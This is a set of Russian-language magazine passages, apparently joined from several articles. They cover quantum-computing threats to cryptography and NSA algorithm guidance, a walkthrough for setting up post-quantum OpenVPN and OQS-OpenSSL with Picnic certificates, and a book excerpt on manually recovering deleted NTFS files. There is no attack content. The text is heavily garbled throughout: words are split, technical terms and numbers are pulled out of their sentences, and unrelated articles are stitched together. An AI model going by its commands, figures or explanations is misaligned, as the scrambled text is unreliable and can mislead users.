Citigroup, JPMorgan Chase, Федераль ная резер вная сис тема, пла теж ная сис‐ 
тема  VISA  и  Агентство  наци ональ ной  безопас ности  США.  Фир ма  веников
не вяжет, как говорят в народе. И вот в янва ре 2018 года эта струк тура оза‐ 
боти лась  рис ками  для  финан совых  орга низа ций  от  кван тового  компь юте ра
и в начале 2019 года выпус тила информа цион ный отчет  .
Отчет при водит такую логику: если пред положить, что к 2028 году ожи дает ся
появ ление кван тового компь юте ра, спо соб ного взло мать защиту, нап ример,
плас тиковых  карт,  рас счи тан ных  на  пять  лет  исполь зования,  то  при мене ние
клас сичес кой крип тогра фии дол жно быть прек ращено и защита переве дена
на  кван тово  устой чивую  крип тогра фию  как  минимум  за  пять  лет  до  потен‐ 
циаль ной ата ки. Если  учесть вре мя на переход от  клас сики  к пост кван товой
крип тогра фии, то переход дол жен быть начат уже сей час.

ASC X9

Чле нами

ASC X9  IR 01—2019

С  ого вор ками  и  без  окон чатель ных  выводов,  в  информа цион ном  отче те
оце нива ется еже год ный при рост чис ла кубитов в 35%. Не закон Мура, но все
же. Такими  тем пами  тысяче кубит ный кван товый компь ютер может быть сде‐ 
лан через семь‐восемь лет. Но на самом деле для обос нован ного прог ноза
пока очень мало дан ных.

При меча тель но,  что  в  АНБ  изме нили  рекомен дации  по  шиф ронабо рам
для защиты информа ции. Из так называ емо го Suite B (сей час это  )
исчезла Curve P‐256 для ECDH и ECDSA, хотя модули 3072 bit для RSA оста‐ 
лись.

CNSA Suite

Ал горит мы NSA Suite B в зависи мос ти от крип тостой кос ти и уров ня сек ‐
ретнос ти в преж них пуб ликаци ях

А  ведь  всег да  счи талось,  что  по  крип тостой кос ти  P‐256  и  RSA‐3072  рав ны
и соот ветс тву ют стой кос ти сим метрич ного алго рит ма AES‐128.

Срав нитель ная стой кость крип тоал горит мов в преж них пуб ликаци ях NIST

Но AES‐128 хотя бы для SECRET в обновлен ном Suite B тоже нет, толь ко AES‐
256 для TOP SECRET. В FAQ АНБ и Цен траль ной служ бы безопас ности (CSS)
Минобо роны  США  по  CNSA  Suite  и  кван товым  вычис лени ям  MFQ‐U‐OO‐
815099‐15  чет ко  разъ ясне но,  что  в  наци ональ ных  сис темах  безопас ности
(NSS)  сле дующие  алго рит мы,  ранее  одоб ренные  для  SECRET,  не  дол жны
исполь зовать ся:

ECDH and ECDSA with NIST P‐256;•
SHA‐256;•
AES‐128;•
RSA with 2048‐bit keys;•
Diffie‐Hellman with 2048‐bit keys.•

Та ким  обра зом,  CNSA  Suite  сей час  вклю чает  в  себя  сле дующие  алго рит мы
(отдель но  под чер кну то,  что  до  момен та,  ког да  будут  раз работа ны  кван тово
устой чивые алго рит мы).

Ре комен дован ные NSA алго рит мы

Ес ли  это  свя зать  с  опти мис тичны ми  прог нозами  о  раз работ ке  кван товых
компь юте ров, то мож но пос тро ить прав доподоб ную вер сию. Так, в 2017 году
иссле дова тели  из  Microsoft  Research  опуб ликова ли  ,  в  которой  дали
сле дующую оцен ку: для вычис ления дис крет ного логариф ма на стан дар тной
эллипти чес кой кри вой P‐256 над конеч ным полем дос таточ но 2330 кубитов,
в  то  вре мя  как  для  фак ториза ции  RSA  с  модулем  3072  необ‐ 
ходимо 6146 кубитов, то есть поч ти в три раза боль ше.

статью

По луча ется,  что  для  кван товых  вычис лений  P‐256  и  RSA‐3072  по  крип‐ 
тогра фичес кой стой кос ти сов сем не рав ны. В АНБ, веро ятно, мог ли получить
ана логич ные дан ные ранее, при этом мы не можем исклю чить сущес тво вание
более глу бокой опти миза ции алго рит ма Шора для эллипти чес ких кри вых.

Ес ли в течение десяти лет будет пос тро ен кван товый компь ютер с 2300+
кубита ми, он, пред положи тель но, смо жет с помощью алго рит ма Шора взло‐ 
мать корот кие клю чи ECC, начиная с 256‐битовых клю чей, а с помощью алго‐ 
рит ма  Гро вера  (Grover),  реша юще го  задачу  перебо ра,  осла бить  при мер но
в  два  раза  сим метрич ные  клю чи  AES.  То  есть  крип тостой кость  AES‐

128 умень шит ся до 2  опе раций, что в обоз римом будущем может ока зать ся

неп рием лемым. Крип тостой кость же AES‐256, сни зив шись до 2  опе раций,

оста нет ся  дос таточ ной,  пос коль ку  сегод ня  счи тает ся,  что  выпол нение  2
опе раций недос тижимо.

64

128

128

Вот любопыт ный при мер того,  как идет работа над совер шенс тво вани ем
кван товых  алго рит мов.  В  кон це  2015  года  выш ла  статья  «

»,  и  рас четы  авто ров
показы вали, что для взло ма AES‐128 необ ходимо 2953 кубита  (вто рой стол‐ 
бец таб лицы ниже).

Оцен ка  кван товых
ресур сов  для  при мене ния  алго рит ма  Гро вера  к  AES

А в 2019‐м иссле дова тели из сол нечной Фло риды опти мизи рова ли кван‐ 
товый  алго ритм  и  ,  что  для  взло ма  AES‐128  необ ходимо
лишь 865 кубитов (тре тий стол бец таб лицы).

рас счи тали

Пред став ляет ся, одна ко, что, даже ког да будет тысяче кубит ный кван товый
компь ютер,  необ ходимое  для  ата ки  огромное  количес тво  вычис лений  ока‐ 
жет ся пока прак тичес ки неподъ емным. И понят но, почему АНБ оста вило RSA‐
3072: такой дли ны ключ пока так же будет стой ким.

Ил люс тра ция воз можнос тей опти миза ции кван тового алго рит ма Гро ‐
вера для взло ма AES

Но самый  любопыт ный и  интри гующий пас саж  в  отче те ASC X9  сле дующий.
На  момент  пуб ликации  отче та  самый  боль шой  кван товый  компь ютер
имел 72 кубита. Одна ко, как ука зыва ют авто ры отче та, есть мне ние, что более
мощ ные кван товые компь юте ры сущес тву ют, но информа ция о них не опуб‐ 
ликова на.  Авто ры  полага ют,  что  могут  сущес тво вать  кван товые  компь юте ры
при мер но со 100 кубита ми!

За меть  так же,  что  речь  идет  не  об  одном  кван товом  компь юте ре,  а  о
компь юте рах  во мно жес твен ном  чис ле,  то  есть  их  может  быть  как минимум
два.  Кон спи роло гия  может  кос венно  под тверждать ся  дан ными,  содер‐ 
жащими ся  в    о  потен циаль ном  воен ном  при мене нии  кван тового
компь юте ра. Но это откры тые дан ные, и не самые пос ледние. Не исклю чено,
что есть еще и скры тая часть айсбер га.

об зоре

Не уди витель но, что в 2016 году Наци ональ ный инсти тут стан дартов и тех‐ 
нологий  США  (NIST)  объ явил  кон курс  пост кван товых  алго рит мов  для  стан‐ 
дарти зации.  Уже  прош ло  два  эта па  кон курса,  для  учас тия  в 
отоб рано семь основных алго рит мов и восемь аль тер натив ных.

треть ем  эта пе

Фи налис ты вто рого эта па кон курса NIST и аль тер натив ные кан дидаты

Как ожи дает ся, ито ги треть его эта па будут под ведены к середи не 2022 года.
Один‐два  алго рит ма  для  обме на  клю чами  и  для  под писи  могут  стать  стан‐ 
дарта ми  для США.  Не  исклю чен  и  чет вертый  этап,  где  могут  быть  выб раны
алго рит мы  для  при мене ния  в  спе циаль ных  областях.  Пока  же  работа  идет:
про водят ся  семина ры,  пред став ленные  алго рит мы  дораба тыва ются,  раз‐ 
рабаты вают ся и совер шенс тву ются ата ки на алго рит мы.
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ПОСТКВАНТОВЫЙ VPN
РАЗБИРАЕМСЯ С КВАНТОВЫМИ

КОМПЬЮТЕРАМИ И СТАВИМ OPENVPN
С ЗАЩИТОЙ ОТ БУДУЩИХ УГРОЗ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ПОСТКВАНТОВЫЙ VPN
Од новре мен но  с  алго рит мами  спеш но  раз рабаты вают  и  при ложе ния,
которые их реали зуют. Раз вива ется и под держи вает ся про ект 

  (OQS). В его рам ках соз дана биб лиоте ка  , вклю чающая ряд пост‐ 
кван товых алго рит мов (они при веде ны на схе ме ниже). Биб лиоте ка интегри‐ 
рова на в OpenSSL и некото рые дру гие при ложе ния.

Open Quantum
Safe liboqs

В Microsoft запус тили свой про ект   и раз рабаты‐ 
вают алго рит мы FrodoKEM, SIKE, Picnic и qTESLA, а  так же при ложе ния Post‐
Quantum Crypto VPN, Post‐Quantum TLS и Post‐Quantum SSH.

Post‐quantum Cryptography

Те перь каж дый жела ющий может взять и уста новить у себя пост кван товую
OpenVPN. Пока, как пре дуп режда ют раз работ чики, толь ко в экспе римен таль‐ 
ных целях и для  тес тирова ния,  пос коль ку  при ложе ние еще не прош ло стро‐ 
гого  ауди та  и  в  нем  могут  быть  ошиб ки.  Да  и  сами  алго рит мы  офи циаль но
не сер тифици рова ны. Но на свой страх и риск — пожалуй ста.

Уп рощен ная струк тура про ектов, реали зующих пост кван товые алго рит мы

Са мый прос той путь уста новить пост кван товую OpenVPN — это взять готовые
фай лы у Microsoft. Есть вер сии для   и для  .Windows Linux

В Linux  архив мож но рас паковать пря мо в  корень фай ловой сис темы  (на
боевой сис теме так делать не сто ит, но для вир туал ки пой дет):

# mv pq‐openvpn‐linux‐staged.tar.gz /
# tar ‐xvf pq‐openvpn‐linux‐staged.tar.gz

Ар хив рас паку ется, раз местив бинар ник в   и скрипт 
 в  .

/usr/local/openvpn pq‐
openvpn.service /etc/systemd/system

Все  нас трой ки  пост кван товой  OpenVPN  ана логич ны  обыч ной  OpenVPN,
поэто му  я  не буду  слиш ком рас простра нять ся. Раз ве  что  замечу,  что  в  кон‐ 
фигура цион ном  фай ле  сер вера  и  кли ента  обя затель но  необ ходимо  задать
дирек тиву  , ина че обмен клю чами будет клас сичес кий, а не кван‐ 
товый.  Дефолт    (гиб ридный  алго ритм  пер вого
уров ня крип тостой кос ти), но его все рав но нуж но ука зать.

ecdh‐curve
ecdh‐curve  p256_sikep434

На  стра нице    на  GitHub  ука зано,  что  под держи‐ 
вают ся толь ко алго рит мы Frodo и SIDH. Да, под держи вают ся, но у меня кли‐ 
ент  на  Windows  10  c  дирек тивой  в  кон фиге 
выда ет ошиб ку чте ния памяти. Это, конеч но, может быть свя зано с кон крет‐ 
ной кон фигура цией моей опе раци онной сис темы, драй верами или с осо бен‐ 
ностя ми  материн ской  пла ты.  А  вот  с  алго рит мами  ,

,    и  дру гими  это го  семей ства,  вклю чая  гиб‐ 
ридные  алго рит мы,  соеди нение  про исхо дит  без  замеча ний.  Экспе римен‐ 
тируя,  я  поп робовал  раз ные  алго рит мы  для  обме на  клю чами,  в  час тнос ти,
работа ют явно не заяв ленные Microsoft гиб ридные алго рит мы 

,    (соот ветс твен но,  и  чис тые  пост кван товые,
без клас сичес кой кри вой, тоже работа ют).

microsoft/PQCrypto‐VPN

ecdh‐curve  frodo1344shake

frodo1344aes
frodo976shake frodo640shake

p521_firesi‐
ber p521_ntru_hps4096821

Не  забывай,  что  пост кван товые  алго рит мы  в  этой  реали зации PQCrypto‐
VPN работа ют толь ко для TLSv1.3, поэто му в кон фигах сер вера и кли ента сле‐ 
дует явно про писать  .tls‐version‐min 1.3

Раз работ чик  утвер жда ет,  что  пос ле  соеди нения  есть  толь ко  один  метод
удос товерить ся,  что обмен  клю чами сос тоял ся с исполь зовани ем пост кван‐ 
тового алго рит ма. На сер вере в логе необ ходимо най ти  :group_id

  :  . ,    .  
,     ( ‐     ) 
Control Channel TLSv1 3 cipher TLSv1 3 TLS_CHACHA20_POLY1305_SHA256
group_id 1278 post quantum key exchange

Пост кван товый алго ритм обме на клю чами работа ет!

На  скрин шоте  лога  сер вера  эта  строч ка  под чер кну та.  Вид но,  что  пост кван‐ 
товый алго ритм обме на клю чами задей ство ван, о чем сви детель ству ет стро ка
post‐quantum key exchange, ина че было бы NOT post‐quantum key exchange.
В дан ном слу чае   1278 (NID OpenSSL) соот носит ся с обме ном клю‐ 
чами,  задан ным  в  дирек тиве  кон фига  OpenVPN 

. То есть это гиб ридный алго ритм, сос тоящий из клас сичес‐ 
кого  обме на  клю чами  по  про токо лу  Диф фи  —  Хел лма на  на  эллипти чес кой
кри вой  P‐521  и  пост кван тового  механиз ма  инкапсу ляции  клю ча  FireSaber‐
KEM.

group_id
ecdh‐curve 

p521_firesaber

INFO

FireSaber‐KEM  соот ветс тву ет  пятому  уров ню
крип тостой кос ти и осно ван на труд ности решения
модуль ной задачи обу чения с округле нием (Mod‐
ule  Learning  with  Rounding  —  MLWR),  которая
пред став ляет  собой  вари ант  задачи  обу чения
с  ошиб ками  (Learning  With  Erros  —  LWR).  Она,
в  свою  оче редь,  вос ходит  к  крип тогра фии
на  решет ках.  Погова рива ют,  что  в  NIST  крип‐ 
тогра фию на решет ках любят боль ше все го.

ПОСТКВАНТОВЫЙ OPENSSL
Па ра  слов  об  аутен тифика ции  на  сер вере  при  помощи  сер тифика тов.
Это могут быть  как  клю чевые пары, осно ван ные на  клас сичес ких  крип тогра‐ 
фичес ких  алго рит мах,  так  и  пост кван товые  схе мы,  а  так же  гиб ридные.
На стра нице про екта заяв лены алго рит мы Picnic и qTESLA. Но мож но задей‐ 
ство вать  и  дру гие  алго рит мы,  вклю чен ные  в  пост кван товый  форк  OpenSSL
(QQS‐OpenSSL).

Да лее я рас ска жу, как уста новить   на Debian 8.9.0.QQS‐OpenSSL
Для начала понадо бят ся зависи мос ти:

# apt install cmake gcc libtool libssl‐dev make ninja‐build git 
python3‐pytest python3‐pytest‐xdist unzip xsltproc doxygen graphviz

Да лее кло ниру ем код OQS‐OpenSSL:

$ git clone ‐‐branch OQS‐OpenSSL_1_1_1‐stable https://github.com/
open‐quantum‐safe/openssl.git OQS‐OpenSSL 

Кло ниру ем  и  уста нав лива ем  биб лиоте ку  liboqs  (ука зав  каталог  с  QQS‐
OpenSSL в чет вертой коман де):

$ git clone ‐‐branch main https://github.com/open‐quantum‐safe/
liboqs.git 
$ cd liboqs 

 $ mkdir build && cd build 
 $ cmake ‐GNinja ‐DCMAKE_INSTALL_PREFIX=/путь/до/OQS‐OpenSSL/oqs 

$ ninja 
# ninja install

Пе рехо дим в каталог QQS‐OpenSSL и запус каем сбор ку:

$ ./Configure no‐shared linux‐x86_64 ‐lm
make $ 

Все.  Даль ше  мож но  генери ровать  пост кван товые  клю чи  и  выпус кать  сер‐ 
тифика ты.

Ес ли  есть  пот ребность  при менять  алго рит мы  под писи,  не  вклю чен ные
по  умол чанию,  то  до  сбор ки OQS‐OpenSSL  в  фай ле 

 необ ходимо для это го алго рит ма заменить   на   и затем
выпол нить две коман ды:

oqs‐template/gener‐
ate.yml false enable

$ python3 oqs‐template/generate.py 
$ make generate_crypto_objects 

Поп робу ем в качес тве алго рит ма под писи picnic_L1_UR. Во‐пер вых, потому,
что  пос ле  дол гой  зимы —  пик ник,  во‐вто рых,  потому,  что  в  этом  алго рит ме
при мене но пре обра зова ние Унру, которое пред полага ется стой ким в модели
кван тового слу чай ного ора кула.

INFO

Кван товый  слу чай ный  ора кул  —  схе ма,
при  которой  про тив ник  может  делать  кван товые
(в  супер позиции)  зап росы  слу чай ному  ора кулу.
Это отли чает ся от более рас простра нен ной клас‐ 
сичес кой  конс трук ции  Фиата  —  Шамира  (Fiat  —
Shamir  transform,  FS),  которая  исполь зует ся
в алго рит мах picnic‐L1‐FS и ана логич ных.

Что  каса ется  общей  харак терис тики  Picnic,  то  это  алго ритм,  осно ван ный
на  крип тогра фичес ком  про токо ле  доказа тель ства  с  нулевым  раз гла шени ем
(Zero‐knowledge proof, ZKP). Про токол zk‐SNARK того же семей ства ZKP, что
и Picnic, исполь зует ся в крип товалю те Zcash, которую раз работ чики позици‐ 
они руют  как  наибо лее  ано ним ную,  не  поз воля ющую  узнать  ни  сум му  тран‐ 
закции, ни отпра вите ля, ни получа теля.

Итак, генери руем клю чи по алго рит му picnicl1ur и выпус каем сер тифика ты.
Для  удобс тва  в  катало ге    соз дадим  под каталог 
и выпол няем обыч ные для OpenSSL коман ды, изме нив толь ко алго ритм клю‐ 
ча:

OQS‐OpenSSL CERTFICATES

$ apps/openssl genpkey ‐algorithm picnicl1ur ‐out CERTIFICATES/
picnic_ca.key 

 
     100   

$ apps/openssl req ‐x509 ‐key CERTIFICATES/picnic_ca.key ‐out 
CERTIFICATES/picnic_ca.crt ‐subj "/CN=Picnic CA" ‐days ‐sha512
‐config apps/openssl.cnf 

Прос матри ваем сер тификат:

   $ apps/openssl  x509 ‐noout ‐text ‐in CERTIFICATES/picnic_ca.crt 

 

 

 

Certificate: 
    Data: 
        Version: 3 (0x2) 
        Serial Number: 
            45:fd:ea:12:2c:a5:e5:d9:a6:97:46:57:bb:ad:a6:41:f2:d6:e9:ee 
        Signature Algorithm: picnicl1ur 
        Issuer: CN = Picnic CA 
        Validity 
            Not Before: Apr 12 05:48:21 2021 GMT 
            Not After : Jul 21 05:48:21 2021 GMT 
        Subject: CN = Picnic CA 
        Subject Public Key Info: 
            Public Key Algorithm: picnicl1ur 
                picnicl1ur Public‐Key: 
                pub: 
                    02:a3:97:fc:dd:2f:5d:83:3c:91:53:bb:af:b1:7f: 
                    75:f1:21:1d:78:e3:f9:ca:fb:3a:61:a5:09:fe:22: 
                    d4:72:ac 
        X509v3 extensions: 
            X509v3 Subject Key Identifier: 
                
82:AA:E9:CA:CB:63:4A:F4:78:AC:63:1F:F3:05:6D:64:B9:44:77:2E 
            X509v3 Authority Key Identifier: 
                
keyid:82:AA:E9:CA:CB:63:4A:F4:78:AC:63:1F:F3:05:6D:64:B9:44:77:2E

X509v3 Basic Constraints: critical 
            CA:TRUE 
Signature Algorithm: picnicl1ur 
     21:82:09:59:16:85:a6:68:52:08:68:a6:02:99:aa:a9:90:14: 

Да лее генери руем клю чи и выпус каем сер тифика ты для сер вера и кли ентов.
Для полез ных рас ширений сер тифика та сна чала соз дадим файл 
при мер но с таким содер жимым:

extensions

[server]
   basicConstraints = CA:FALSE

   keyUsage = digitalSignature, keyEncipherment
   extendedKeyUsage = serverAuth

   subjectAltName = @alt_names
[alt_names]

   DNS = 192.168.3.5
[client]

   basicConstraints = CA:FALSE
   keyUsage = digitalSignature, keyEncipherment

   extendedKeyUsage = clientAuth

И выпол няем коман ды для сер вера:

 
     

$ apps/openssl req ‐new ‐newkey picnicl1ur ‐keyout CERTIFICATES/
server.key ‐out CERTIFICATES/server.csr ‐nodes ‐subj "/CN=mysite.ru"
‐config apps/openssl.cnf ‐sha512
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$ apps/openssl x509 ‐req ‐in CERTIFICATES/server.csr ‐out 
CERTIFICATES/server.crt ‐CA CERTIFICATES/picnic_ca.crt  ‐days
‐CAkey CERTIFICATES/picnic_ca.key  ‐CAcreateserial ‐sha512
‐extensions server ‐extfile extensions 

Для сер тифика та кли ента ана логич но, толь ко пишем   вмес то  .client server
Го товые  фай лы  PQCrypto‐VPN  алго ритм  picnicl1ur  не  под держи вает,

поэто му при дет ся соб рать самому. Бла го в Microsoft написа ли скрипт build.py,
который  все  дела ет  авто мати чес ки.  Необ ходимые  зависи мос ти  ука заны
в начале это го скрип та.

ВЫВОДЫ
Пос ле того как пост кван товые алго рит мы будут стан дарти зиро ваны, во всем
мире  нач нется  переход  на  пост кван товую  крип тогра фию.  Бра узе ры  будут
переве дены на пост кван товую крип тогра фию (в Google уже про води ли такой
экспе римент в Chrome Canary). Переход будет дол гий и тру доем кий, поэто му
уже  появи лись  пер вые  фир мы,  пред лага ющие  помощь  во  внед рении  пост‐ 
кван товой крип тогра фии, нап ример   при Оксфорд ском уни вер ситете
или рос сий ская  .

PQShield
QApp

https://openquantumsafe.org/
https://github.com/open-quantum-safe/liboqs
https://www.microsoft.com/en-us/research/project/post-quantum-cryptography/
https://github.com/microsoft/PQCrypto-VPN/releases/download/PQCrypto-1.3/openvpn-install-2.4.9-I601-Win10.exe
https://github.com/microsoft/PQCrypto-VPN/releases/download/PQCrypto-1.3/pq-openvpn-linux-staged.tar.gz
https://github.com/microsoft/PQCrypto-VPN
https://github.com/open-quantum-safe/openssl
https://pqshield.com/
https://qapp.tech/
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ТРЮКИ

На деж ность NTFS — это одно, а оши боч но уда лен ные фай‐ 
лы —  сов сем  дру гое. Фай ловая  сис тема,  даже  такая  мощ‐ 
ная,  как  NTFS,  бес силь на  защитить  поль зовате ля  от  себя
самого.  Прек расно,  если  уда лен ный  файл  сох ранил ся
в  "Кор зине",  но  что  делать,  если  там  его  не  ока жет ся?
Как  пос тупить,  если  ты  слу чай но  уда лил  нуж ное  фай ло,
а  теперь  в  отча янье  куса ешь  лок ти  и  про чие  час ти  тела?
Глав ное  —  не  панико вать,  а  о  том,  как  спра вить ся  с  этой
бедой, я сей час рас ска жу.

О книге
В 2006  году выш ла в свет  кни га Кри са Кас пер ски  «Вос ста нов ление дан ных.
Прак тичес кое  руководс тво»,  которая  быс тро  ста ла  бес тсел лером.  В  апре‐ 
ле  2021  года  изда тель ство  «БХВ»  выпус тило  вто рое,  перера ботан ное
и  допол ненное  изда ние  этой  кни ги,  отрывком  из  которой  и  явля ется  эта
статья.

В течение пер вых 30 дней про даж эту кни гу мож но купить со скид кой 30%
  по  про моко ду  .  Про мокод  нуж но

вво дить на эта пе офор мле ния заказа.
в  интернет‐магази не  изда тель ства first30

ПАКЕТ FILE_DISPOSITION_INFORMATION
  —  это  пакеты,

посыла емые драй веру при уда лении фай ла  (имей это в виду при дизас сем‐ 
бли рова нии).  Что бы  уметь  вос ста нав ливать  уда лен ные  фай лы,  необ ходимо
отчетли во  пред став лять,  что  про исхо дит  в  про цес се  уда ления фай ла  с  раз‐ 
дела NTFS. Вот пос ледова тель ность выпол няемых при этом дей ствий.

IRP_MJ_SET_INFORMATION/FILE_DISPOSITION_INFORMATION

1. Кор ректи рует ся файл  ,  каж дый бит  которо го опре деля ет
"занятость" соот ветс тву ющей фай ловой записи  (FILE Record) в MFT  (зна‐ 
чение 0 говорит о том, что запись не исполь зует ся).

/$MFT:$BITMAP

2. Кор ректи рует ся  файл  ,  каж дый  бит  которо го  опре деля ет
"занятость"  соот ветс тву юще го  клас тера  (зна чение  0  говорит  о  том,  что
клас тер не исполь зует ся).

/$BITMAP

3. Фай ловые  записи,  соот ветс тву ющие  фай лу,  помеча ются  как  уда лен ные
(поле  , находя щееся по сме щению   от начала фай ловой записи,
сбра сыва ется в нуль).

FLAG 16h

4. Ссыл ка  на  файл  уда ляет ся  из  дво ично го  дерева  индексов.  Тех ничес кие
под робнос ти  это го  про цес са  здесь  не  рас смат рива ются,  пос коль ку  вос‐ 
ста новить  таб лицу  индексов  вруч ную  смо жет  толь ко  "гуру".  Кро ме  того,
в таком вос ста нов лении нет необ ходимос ти. Ведь в NTFS индексы игра ют
вспо мога тель ную  роль,  и  гораз до  про ще  пере индекси ровать  каталог
заново,  чем  вос ста нав ливать  сба лан сирован ное  дво ичное  дерево  (B‐
tree).

5. Об новля ется атри бут   катало га, в котором хра‐ 
нит ся уда ляемый файл (вре мя пос ледне го дос тупа и т. д.).

$STANDART_INFORMATION

6. В  фай ле    обновля ется  поле    (изме нения,
про исхо дящие в жур нале тран закций, здесь не рас смат рива ются).

/$LogFile Sequence  Number

7. По ля   сле дующих фай ловых записей уве личи‐ 
вают ся на еди ницу: сам уда ляемый файл, текущий каталог,  , 

,  ,  ,  .

Update Sequence Number

$MFT /$MFT:

$BITMAP /$BITMAP /$BOOT /$TRACKING.LOG

Ка тало ги уда ляют ся прак тичес ки так же, как и фай лы. В этом нет ничего уди‐ 
витель ного, так как с точ ки зре ния фай ловой сис темы каталог тоже пред став‐ 
ляет файл осо бого вида, содер жащий внут ри себя дво ичное дерево индексов
(B‐tree).

Ни в том, ни в дру гом слу чае физичес кого уда ления фай ла не про исхо дит,
и он может быть лег ко вос ста нов лен. Лег кое и быс трое вос ста нов ление воз‐ 
можно до тех пор, пока не будет затер та фай ловая запись (FILE Record), при‐ 
над лежащая  это му  фай лу  и  хра нящая  его  резиден тное  тело  или  спи сок
отрезков  (run‐list)  нерези ден тно го  содер жимого.  Утра та  фай ловой  записи
край не неп рият на, пос коль ку в этом слу чае файл при дет ся собирать по клас‐ 
терам. При этом сто ит заметить, что чем силь нее был фраг менти рован уда‐ 
лен ный  файл,  тем  слож нее  будет  эта  задача.  К  счастью,  в  отли чие  от  FAT,
NTFS не затира ет пер вого сим вола име ни фай ла, что зна читель но упро щает
вос ста нов ление.

АВТОМАТИЧЕСКОЕ ВОССТАНОВЛЕНИЕ УДАЛЕННЫХ ФАЙЛОВ
Ути литы,  вос ста нав лива ющие  уда лен ные  фай лы,  не  вхо дят  в  стан дар тный
ком плект  пос тавки Windows.  Разуме ется,  это  явный  недос таток —  вспом ни,
ведь в MS‐DOS такая ути лита была! Сле дова тель но, эти средс тва при ходит ся
при обре тать  отдель но.  Одна  из  авто мати чес ких  ути лит  для  вос ста нов ления
уда лен ных  фай лов — GetDataBack.  Опа саясь  раз рушить фай ловую  сис тему
окон чатель но,  боль шинс тво  таких  ути лит  избе гает  пря мой  записи  на  диск.
Вмес то это го поль зовате лю пред лага ется счи тать уда лен ный файл и перепи‐ 
сать  его  в  дру гое  мес то,  но  толь ко  не  на  сам  вос ста нав лива емый  раз дел.
Не  слиш ком‐то  удач ное  решение.  А  если  на  осталь ных  дис ках  сво бод ного
мес та  нет,  или  если  вос ста нав лива емый  диск  име ет  все го  лишь  один
логичес кий раз дел?

Пред положим, нам необ ходимо вос ста новить базу дан ных объ емом в нес‐ 
коль ко гигабайт. Мож но, конеч но, под клю чить вто рой вин честер, ско пиро вать
ее туда, а затем обратно. Одна ко подумай, сколь ко же это зай мет вре мени,
не говоря уже о том, что сер вер луч ше не вык лючать, а "горячую" замену под‐ 
держи вают далеко не все жес ткие дис ки!

Дру гой недос таток подоб ных ути лит — слиш ком мед ленная работа. Вмес‐ 
то  того  что бы  най ти  один‐единс твен ный  файл,  имя  которо го  нам  извес тно,
они  про водят  пол номас штаб ные  "манев ры",  ска нируя  весь  раз дел  целиком.
При  работе  с  боль шими  дис ками  на  это  ухо дит  от  одно го  до  нес коль ких
часов, при чем это вре мя фак тичес ки тра тит ся впус тую.

Ути лита GetDataBack за вос ста нов лени ем уда лен ных фай лов

С дру гой  сто роны,  ути литы,  вно сящие  изме нения  непос редс твен но  в  струк‐ 
туру  NTFS,  рис куют  серь езно  пов редить  дис ковый  том,  пос ле  чего  ему
не помогут  даже про фес сиона лы. Нас тоящие  хакеры не доверя ют  никако му
коду, кро ме соз данно го лич но ими, осо бен но, если исходные тек сты недос‐ 
тупны,  а  докумен тация  туман на  и  двус мыслен на.  Раз личные  вер сии  NTFS
отли чают ся  друг  от  дру га.  Пос ледние  радикаль ные  изме нения  про изош ли
в Windows XP (NTFS вер сии 3.1) — мас сив пос ледова тель нос тей обновле ния
(Update  Sequence  Number‐n‐Array)  перемес тился  на  шесть  бай тов  впе ред,
а его мес то было отда но под вырав нивание и поле номера текущей фай ловой
записи  (Number  of  this  MFT  Record).  С  тех  пор  фор мат  фай ловой  сис темы
не пре тер пел каких‐либо сущес твен ных архи тек турных изме нений.

На конец, воз можна и такая ситу ация, ког да ути лит вос ста нов ления прос то
не ока жет ся под рукой в  тот момент,  ког да вам сроч но пот ребу ется вос ста‐ 
новить  какой‐нибудь  цен ный  файл.  Законов  Мэр фи  еще  ник то  не  отме нял!
В этом слу чае вам при дет ся рас счи тывать толь ко на свои силы.

РУЧНОЕ ВОССТАНОВЛЕНИЕ ОШИБОЧНО УДАЛЕННЫХ ФАЙЛОВ
Нач нем с прос тей шего. Файл толь ко что уда лен, и при над лежащая ему фай‐ 
ловая запись еще не затер та. Как най ти его на дис ке? Сущес тву ет два спо‐ 
соба — "теоре тичес кий" и "прак тичес кий". Теоре тичес кий метод исклю читель‐ 
но надежен, но тре бует допол нитель ных опе раций, выпол нения которых мож‐ 
но избе жать, при няв ряд прак тичес ких допуще ний.

Те оре тичес ки  гра мот ный  и  пра виль ный  под ход  сос тоит  в  сле дующем.
Извле каем из заг рузоч ного сек тора ука затель на MFT, извле каем из нее пер‐ 
вую запись (она опи сыва ет  ), находим атри бут   ( ),  декоди руем
спи сок  отрезков  ( )  и  пос ледова тель но  чита ем  все  записи  в MFT,
ана лизи руя  содер жимое  атри бута    ( )  —  имя  фай ла.  Обра ти
вни мание, что таких атри бутов у фай ла может быть нес коль ко. Этот же атри‐ 
бут  хра нит  ссыл ку  на  родитель ский  каталог. Поэто му,  если  нес коль ко  одно‐ 
имен ных фай лов были уда лены из раз личных катало гов, то необ ходимо выяс‐ 
нить, какой имен но из них дол жен быть вос ста нов лен.

$MFT $DATA 80h
data runs

$FILE_NAME 30h

Прак тичес кий  под ход  выг лядит  сле дующим  обра зом.  В  девяти  слу чаях
из  десяти  файл    не  фраг менти рован  и  рас полага ется  в  самом  начале
дис ка. Име на фай лов хра нят ся по сме щению   от начала сек тора, в начале
которо го  рас положе на  сиг натура  .  Поэто му  мож но  прос то  запус тить
любой дис ковый редак тор, ввес ти имя вос ста нав лива емо го фай ла в кодиров‐ 
ке  UNICODE  и  дать  редак тору  ука зание  искать  его  по  сме щению 
от начала сек тора.

$MFT
EAh

FILE0

F0h

Ког да же иско мая стро ка будет най дена, необ ходимо про верить, находит‐ 
ся ли в начале сек тора сиг натура  . Если такой сиг натуры в начале сек‐ 
тора  нет,  сле дует  про дол жить  поиск.  Двух бай товое  поле  по  сме щению 
от  начала  сек тора  содер жит  фла ги  записи:    —  запись  не  исполь зует ся
или была  уда лена,   — запись исполь зует ся,   —  запись исполь зует ся
и  опи сыва ет  каталог.  Встре чают ся  и  дру гие  зна чения,  нап ример,  ,  .
Эти зна чения не докумен тирова ны. Воз можно, что имен но ты смо жешь про‐ 
лить свет на этот воп рос?

FILE0
16h

00h
01h 02h

04h 08h

Ис прав ляем   на  ,  записы ваем изме нения и… Ничего не выходит?!
А что же ты хотел! Ведь помимо это го необ ходимо выпол нить еще нес коль ко
дей ствий.  Во‐пер вых,  сле дует  сооб щить  фай лу  ,  что  дан ная
запись MFT вновь исполь зует ся. Во‐вто рых, необ ходимо исклю чить из фай ла

  номера  клас теров,  при над лежащие  вос ста нав лива емо му  фай лу.
Наконец,  необ ходимо  перес тро ить  дво ичное  дерево  индексов,  хра нящее
содер жимое катало га.

00h 01h

